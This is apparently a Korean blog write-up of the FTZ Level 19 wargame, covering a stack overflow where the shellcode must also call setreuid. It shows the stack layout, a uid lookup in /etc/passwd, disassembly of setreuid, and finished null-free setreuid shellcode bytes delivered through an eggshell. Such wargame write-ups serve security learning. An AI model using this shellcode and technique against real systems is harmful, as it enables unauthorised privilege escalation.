본문 바로가기
Security/Pwnable

FTZ Level 19

by J0DEV 2021. 8. 9.
반응형

FTZ Level 19에 접속하여 힌트를 봅니다.

 

이제 소스만 보고도 구조가 대충 그려지네요.

 

gdb를 사용하여

 

더미가 20byte인것도 확인합니다.

 

메모리 구조는

RET		4
SFP		4
Dummy		20
buf		20

입니다.

 

 

간단한 소스입니다.

 

그런데 평소처럼 eggshell과 getenv를 사용했는데 아무런 반응이 없습니다.

 

다시 소스를 보니 seteruid가 없네요;;

 

 

그렇다면 seteruid를 설정하는 쉘코드를 eggshell에 같이 넣어주면 됩니다. ㅎㅎ

 

grep을 이용해 레벨 20의 uid를 확인합니다.

 

grep level20 /etc/passwd

 

 

 

uid를 설정하는 코드를 만들어서 

 

쉘코드로 작성하여 줍니다.

 

작성한 프로그램을 

gcc에 -static -g 옵션을 주어 컴파일 한 후,

gdb로 main 함수를 봅니다.

 

여기서

필요한 내용은

 

main<+19>, main<+24>, main<+29>

 

입니다.

인자값을 push한후 setreuid를 불러와 넣어주는 부분입니다.

 

그리고 setreuid 함수를 봅니다.

 

여기서 필요한 부분은

<setreuid+56>~<setreuid+70> 구간입니다.

 

 

 

각 구간을 정리해서 봅시다.

0x080481e3 <main+19>: push   $0xc1c
0x080481e8 <main+24>: push   $0xc1c
0x080481ed <main+29>: call   0x804df48 <setreuid>

0x0804df80 <setreuid+56>: mov    0x8(%ebp),%eax
0x0804df83 <setreuid+59>: mov    0xc(%ebp),%ecx
0x0804df86 <setreuid+62>: push   %ebx
0x0804df87 <setreuid+63>: mov    %eax,%ebx
0x0804df89 <setreuid+65>: mov    $0x46,%eax

0x0804df8e <setreuid+70>: int    $0x80

 

 

이를 토대로 어셈블리 코드를 작성하면

mov $0xc1c %ebx
mov $0xc1c %ecx
mov $0x46, %al

이 됩니다.

이 프로그램을 gcc로 컴파일 한 후, 

objdump를 사용합니다.

 

 

 

 

이제 0x00들을 없애줘야 겠군요

$0xc1c 때문에 발생한 코드로 각각 bx레지스터와 cx레지스터에만 채워지도록 합니다.

 

 

 

 

그리고 다시 컴파일하여 

objdump로 살펴봅니다.

 

여기서 필요한 부분은

 

입니다.

 

쉘코드를 조합하면

 

"\x66\xbb\x1c\x0c\x66\xb9\x1c\x0c\xb0\x46\xcd\x80"

 

이 됩니다.

 

 

작성된 코드를 에그쉘에 작성하고

 

 

 

에그쉘의 주소를 알아낸 후

 

 

코드를 작성하면

풀립니다.

 

이 문제는 쉘코드를 작성할 수 있는지 물어보는 문제 같습니다.

 

반응형

'Security > Pwnable' 카테고리의 다른 글

LOB Level 1 gate  (0) 2021.08.09
FTZ Level 20  (0) 2021.08.09
FTZ Level 18  (0) 2021.08.09
FTZ Level 17  (0) 2021.08.09
FTZ Level 16  (0) 2021.08.09